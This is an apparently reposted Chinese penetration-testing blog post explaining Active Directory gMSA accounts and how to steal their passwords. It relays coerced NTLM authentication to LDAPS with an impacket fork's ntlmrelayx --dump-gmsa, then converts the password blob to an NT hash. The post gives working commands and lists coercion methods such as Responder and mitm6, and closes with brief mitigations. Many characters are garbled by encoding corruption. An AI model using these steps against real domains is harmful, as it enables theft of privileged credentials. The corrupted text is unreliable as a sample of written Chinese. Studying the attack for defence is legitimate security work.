溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

gMSA是什么

發(fā)布時(shí)間:2021-12-28 10:09:57 來(lái)源:億速云 閱讀:377 作者:小新 欄目:安全技術(shù)

這篇文章給大家分享的是有關(guān)gMSA是什么的內(nèi)容。小編覺(jué)得挺實(shí)用的,因此分享給大家做個(gè)參考,一起跟隨小編過(guò)來(lái)看看吧。

概述

   gMSA,英文全稱為“Group Managed Service Accounts”,即活動(dòng)目錄AD中的組托管服務(wù)賬戶。gMSA賬戶會(huì)將它們的密碼存儲(chǔ)在一個(gè)名叫“msDS-ManagedPassword”的LDAP屬性中,DC每隔三十天就會(huì)自動(dòng)對(duì)這個(gè)值進(jìn)行重置,授權(quán)管理員以及安裝它們的服務(wù)器都可以檢索到這些密碼。msDS-ManagedPassword是一個(gè)加密的數(shù)據(jù)塊,名為“MSDS-MANAGEDPASSWORD_BLOB”,并且只有當(dāng)連接是安全的時(shí)候(LDAPS或認(rèn)證類(lèi)型為‘Sealing&Secure’)才可以被檢索到。

其實(shí)在此之前,我個(gè)人對(duì)gMSA了解的并不多,但是在觀看了由Wald0和CptJesus主辦的《Bloodhound 3.0》網(wǎng)絡(luò)研討會(huì)之后,我對(duì)gMSA有了新的認(rèn)識(shí),而這個(gè)研討會(huì)主要討論了gMSA為什么應(yīng)該在滲透測(cè)試中成為焦點(diǎn)。

gMSA是什么

分析之后我們了解到,一般來(lái)說(shuō)除了授權(quán)管理員,目標(biāo)設(shè)備上還可能會(huì)有更多的用戶賬號(hào)被授予了讀取gMSA密碼的權(quán)限,而gMSA帳戶通常會(huì)被授予管理員權(quán)限,有的時(shí)候甚至?xí)皇谟栌蚬芾頇?quán)限。

那我們應(yīng)該怎么去利用這種安全問(wèn)題呢?我們?nèi)绾尾拍苁占侥切┨貦?quán)賬號(hào)的密碼呢?

因?yàn)槟壳吧鐓^(qū)有很多技術(shù)可以幫助我們生成傳入的NTLM身份驗(yàn)證連接,而這種類(lèi)型的身份驗(yàn)證密碼都存儲(chǔ)在一個(gè)LDAP屬性之中。我認(rèn)為最佳的解決方案,就是從ntlmrelayx中的LDAP屬性msDS-ManagedPassword中檢索密碼。

與LDAP的中繼鏈接

要通過(guò)NTLM中繼實(shí)現(xiàn)一條與LDAP的連接,我們必須確保中繼的身份驗(yàn)證連接使用的是HTTP協(xié)議。由于連接所需的簽名數(shù)據(jù)位,我們無(wú)法中繼SMB認(rèn)證連接,不過(guò)漏洞CVE-2019-1040能夠幫助我們繞過(guò)NTLM簽名保護(hù)機(jī)制,這樣我們就可以實(shí)現(xiàn)中繼SMB->LDAP了。

NTLM中繼過(guò)程如下:

1、目標(biāo)向攻擊者發(fā)送一個(gè)NTLM_NEGOTIATE數(shù)據(jù)包;

2、接下來(lái),攻擊者將NTLM_NEGOTIATE數(shù)據(jù)包中繼至所選的目標(biāo)服務(wù)器;

3、目標(biāo)服務(wù)器向攻擊者發(fā)送應(yīng)答信息,其中包含一個(gè)NTLM_CHALLENGE數(shù)據(jù)包;

4、攻擊者將NTLM_CHALLENGE數(shù)據(jù)包中繼至目標(biāo);

5、目標(biāo)向攻擊者發(fā)送應(yīng)答信息,其中包含一個(gè)NTLM_AUTHENTICATE數(shù)據(jù)包;

6、攻擊者將NTLM_AUTHENTICATE數(shù)據(jù)包中繼至目標(biāo)服務(wù)器;

7、攻擊者現(xiàn)在將成功與目標(biāo)服務(wù)器建立已認(rèn)證的會(huì)話連接;

gMSA是什么

但遺憾的是,我沒(méi)有在ntlmrelayx中成功實(shí)現(xiàn)“Sealing & Secure”身份驗(yàn)證?,F(xiàn)在,我們必須中繼到LDAPS,而LDAPS只是通過(guò)SSL實(shí)現(xiàn)的LDAP,默認(rèn)情況下活動(dòng)目錄AD安裝是沒(méi)有這種配置的,因?yàn)椴淮嬖谀J(rèn)的可用證書(shū)。

配置gMSA

# Create a KDS Root Key on DCAdd-KdsRootKey -EffectiveTime (Get-Date).AddHours(-10)# Create a new gMSA on DCNew-ADServiceAccount -Name svc_msa -DNSHostName dc.htb.local -ManagedPasswordIntervalInDays 30 -PrincipalsAllowedToRetrieveManagedPassword msa_read,dc$#Install gMSA on the target serverInstall-WindowsFeature AD-DOMAIN-SERVICESInstall-AdServiceAccount svc_msa

漏洞利用

首先,我們必須生成用于中繼的NTLM認(rèn)證請(qǐng)求,我們可以通過(guò)以下幾種方式來(lái)實(shí)現(xiàn),比如說(shuō):

1、ADIDNS通配符記錄

2、Responder

3、WPAD + Mitm6

4、利用一個(gè)存在漏洞的服務(wù)器來(lái)創(chuàng)建HTTP認(rèn)證請(qǐng)求

接下來(lái),使用下列命令將我的代碼庫(kù)克隆至你的本地主機(jī)中,安裝impacket,開(kāi)啟ntlmrelayx,然后選擇你喜歡的方式來(lái)生成NTLM認(rèn)證流量(關(guān)于如何生成NTLM認(rèn)證流量的問(wèn)題,本文不做過(guò)多描述):

git clone https://github.com/cube0x0/impacketcd impacketpython setup.py installpython ./examples/ntlmrelayx.py --dump-gmsa --no-dump --no-da --no-acl --no-validate-privs -debug -t ldaps://10.0.0.5

gMSA是什么

然后,使用DSInternals模塊對(duì)數(shù)據(jù)塊進(jìn)行轉(zhuǎn)換,由于密碼存儲(chǔ)在隨機(jī)的Unicode字符中,所以我們還需要將明文密碼轉(zhuǎn)換為R**格式:

(ConvertFrom-ADManagedPasswordBlob <blob>).SecureCurrentPassword | ConvertTo-NTHash

gMSA是什么

緩解方案

NTLM至LDAP以及LDAPS的中繼攻擊可以通過(guò)啟用LDAP簽名以及LDAP信道綁定來(lái)進(jìn)行攻擊預(yù)防。除此之外,不要給多余的賬號(hào)提供服務(wù)賬號(hào)權(quán)限或特殊權(quán)限,每個(gè)組織都應(yīng)該遵循最低特權(quán)模式的最佳實(shí)踐方案。

感謝各位的閱讀!關(guān)于“gMSA是什么”這篇文章就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,讓大家可以學(xué)到更多知識(shí),如果覺(jué)得文章不錯(cuò),可以把它分享出去讓更多的人看到吧!

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI